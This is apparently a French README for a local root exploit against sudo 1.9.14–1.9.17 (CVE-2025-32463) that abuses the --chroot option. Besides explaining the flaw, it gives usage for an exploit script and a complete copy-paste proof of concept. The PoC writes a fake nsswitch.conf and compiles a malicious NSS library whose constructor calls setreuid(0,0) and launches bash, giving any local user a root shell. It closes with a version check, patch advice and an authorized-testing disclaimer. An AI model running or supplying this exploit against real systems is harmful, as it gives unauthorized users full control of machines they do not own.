
Exploit d'élévation de privilèges locale pour sudo 1.9.14-1.9.17 qui abuse de la gestion chroot de CVE-2025-32463, en injectant un constructeur de bibliothèque NSS malveillant pour lancer un shell root pour tout utilisateur local.
Élévation locale de privilèges à root dans sudo via l'option --chroot (-R). Fonctionne pour n'importe quel utilisateur local, y compris les comptes sans aucune entrée sudoers (par ex. www-data).
sudo 1.9.14 – 1.9.17 exécute un chroot() dans le répertoire fourni par l'utilisateur pendant que la politique sudoers est encore en cours d'évaluation — c'est-à-dire avant la décision d'autorisation. Après ce chroot(), les recherches NSS de sudo lisent /etc/nsswitch.conf depuis l'intérieur du chroot de l'attaquant, et glibc transforme un nom de source bidon en dlopen("libnss_<name>.so.2") — chargé et son constructeur exécuté en tant que root.
Placer un faux nsswitch.conf (passwd: /woot1337) ainsi qu'un libnss_/woot1337.so.2 malveillant dont le constructeur ELF exécute setreuid(0) + exec("/bin/bash") donne un shell root. L'exploit se déclenche avant la vérification sudoers, donc l'appelant n'a besoin d'aucun privilège sudo.
1.9.14 – 1.9.171.9.17p1 (la modification du chroot en 1.9.14 a été annulée ; la fonctionnalité a été dépréciée)Bibliothèque standard Python 3, un sudo setuid vulnérable (1.9.14–1.9.17), et gcc sur la cible (pour compiler le petit module libnss). À exécuter en tant qu'utilisateur à faibles privilèges.
python3 exploit.py # -> interactive root shell
python3 exploit.py -c 'id' # run a single command as root
etc/nsswitch.conf = passwd: /woot1337 (+ une copie de /etc/group).libnss_/woot1337.so.2 — un ELF dont le constructeur (__attribute__((constructor))) fait setreuid(0,0) et execl("/bin/bash", …).sudo -R woot woot — sudo fait un chroot dans woot, résout NSS, fait un dlopen de libnss_/woot1337.so.2 en tant que root, et le constructeur donne un shell root — avant même que sudo ne vérifie si l'utilisateur est autorisé.PoC manuel canonique (Stratascale / pr0v3rbs "chwoot") :
cd $(mktemp -d); mkdir -p woot/etc libnss_
echo 'passwd: /woot1337' > woot/etc/nsswitch.conf; cp /etc/group woot/etc
cat > w.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void){setreuid(0,0);setregid(0,0);chdir("/");execl("/bin/bash","/bin/bash","-p",NULL);}
EOF
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 w.c
sudo -R woot woot # -> root
sudo --version | head -1 # "Sudo version 1.9.14" .. "1.9.17" => vulnerable ; 1.9.17p1 => patched
Mettez à jour sudo vers ≥ 1.9.17p1. La fonctionnalité chroot est dépréciée et ne doit pas être utilisée comme mécanisme de confiance.
Pour les tests de sécurité autorisés et l'éducation uniquement. Ne l'utilisez que contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test.